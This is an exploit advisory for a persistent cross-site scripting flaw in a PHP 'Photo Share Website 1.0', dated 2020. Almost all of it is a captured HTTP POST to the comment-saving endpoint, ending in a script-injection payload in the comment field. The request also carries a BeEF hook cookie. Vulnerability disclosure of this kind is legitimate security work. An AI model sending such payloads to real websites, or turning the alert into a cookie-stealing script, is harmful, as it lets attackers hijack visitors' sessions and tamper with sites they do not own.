Photo Share Website 1.0 Cross Site Scripting

`# Exploit Title: Photo Share Website 1.0 - Persistent Cross-Site Scripting  
# Date: 2020-09-30  
# Exploit Author: Augkim  
# Vendor Homepage: https://www.sourcecodester.com/php/14478/photo-share-website-using-phpmysql-source-code.html  
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/photo-share-website-using-php.zip  
# Tested on: Linux Apache2  
  
  
POST /soci/ajax.php?action=save_comment HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0)  
Gecko/20100101 Firefox/68.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 45  
DNT: 1  
Connection: close  
Referer: http://localhost/soci/index.php?page=home  
Cookie: mode=day; src=1;  
BEEFHOOK=0hqrkHLyTmW38TaPrDHRUW4LsDpXKDSSqAQf54dt0hIA0wFNpjkoJYFlnGhoKw2T4qQHIUZ5oESFGSVW;  
PHPSESSID=cq8j6ug2vem0obmno6fi0h9404; access=1  
Origin: foo.example.org  
  
PoC:  
post_id=4&comment="><script>alert(2)</script>  
`